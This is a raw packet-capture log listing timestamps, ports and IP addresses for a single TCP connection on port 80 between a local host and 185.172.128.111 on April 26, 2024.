Apr 26, 2024 09:41:09.193336964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193389893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193412066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193464041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193511963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193564892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193902016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193922043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193952084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193983078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193989992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194009066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194041014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194058895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194072962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194123983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194236994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194256067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194273949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194289923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194331884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194333076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194333076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194380999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194504976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194557905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194562912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194607973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194608927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194659948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194669008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194694996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194721937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194744110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194768906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194822073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194884062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194936991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.194942951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.194993019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195000887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195054054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195102930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195173979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195183039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195235014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195247889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195297956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195362091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195449114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195519924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195580959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195907116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195955038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.195970058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.195998907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196074963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196094036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196161032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196161985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196243048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196278095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196305037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196333885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196357965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196409941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196444035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196489096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196495056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196533918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196556091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196580887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196582079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196616888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196639061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196661949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196680069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196732044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196743965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196794987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196846962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196877003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196899891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196937084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.196948051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.196981907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197026968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197026968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197053909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197135925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197160959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197211981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197223902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197262049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197277069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197308064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197393894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197444916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197463036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197468996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197496891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197515965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197546959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197609901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197665930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197717905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.197721004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.197767973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.198255062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.198322058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.198323011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.198371887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.198386908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.198438883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.198486090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.198538065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.198570013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.198652983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.198759079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.198816061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.198991060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199044943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199125051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199187040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199223042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199249029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199276924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199281931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199295044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199357033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199407101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199459076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199465036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199484110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199517012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199547052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199567080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199603081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199620962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199647903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199655056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199704885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199723959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199774981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.199942112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199990034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.199995995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200021029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200052023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200081110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200087070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200129032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200159073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200160980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200177908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200211048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200234890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200268984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200300932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200330973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200763941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200833082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200855017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200889111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200906992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.200907946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200943947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200977087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.200983047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201046944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201062918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201081038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201113939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201144934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201225996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201294899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201303005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201353073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201401949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201452017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201481104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201503992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201508999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201527119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201553106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201571941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201630116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201673031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201674938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201720953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201812983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201858997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201859951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201903105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.201903105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201947927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.201963902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202002048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202027082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202054977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202080965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202126980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202152014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202197075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202210903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202244997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202256918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202290058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202368021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202409029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202435970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202455044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202876091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202924013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.202924967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202965975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.202972889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203006983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203012943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203056097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203087091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203130007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203177929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203196049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203248024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203267097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203289032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203336954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203362942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203409910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203449965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203501940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203543901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203605890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203627110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203670979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203697920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203739882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203758001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203810930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203823090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203841925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203870058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.203912020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.203977108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204015970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204093933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204093933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204093933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204094887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204121113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204134941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204145908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204171896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204231977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204284906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204334974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204385996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204410076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204461098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204749107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204790115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204796076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204832077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204834938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204883099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204885006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204920053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.204948902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.204987049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205013037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205058098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205082893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205127954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205140114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205185890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205250978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205269098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205292940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205317020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205322027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205363035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205447912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205492973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205521107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205554962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.205571890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.205602884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206079006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206129074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206134081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206178904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206219912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206267118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206332922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206355095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206379890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206408024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206425905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206469059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206480980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206523895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206533909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206578970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206598997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206651926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206660986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206698895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206742048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206785917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206805944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206861973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206871033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206907034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.206934929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.206979990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207010031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207055092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207078934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207097054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207123041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207144022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207148075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207192898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207233906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207279921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207298040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207344055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207360983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207406044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207417011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.207462072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.207473993 CEST	80	49730	185.172.128.111	192.168.2.4
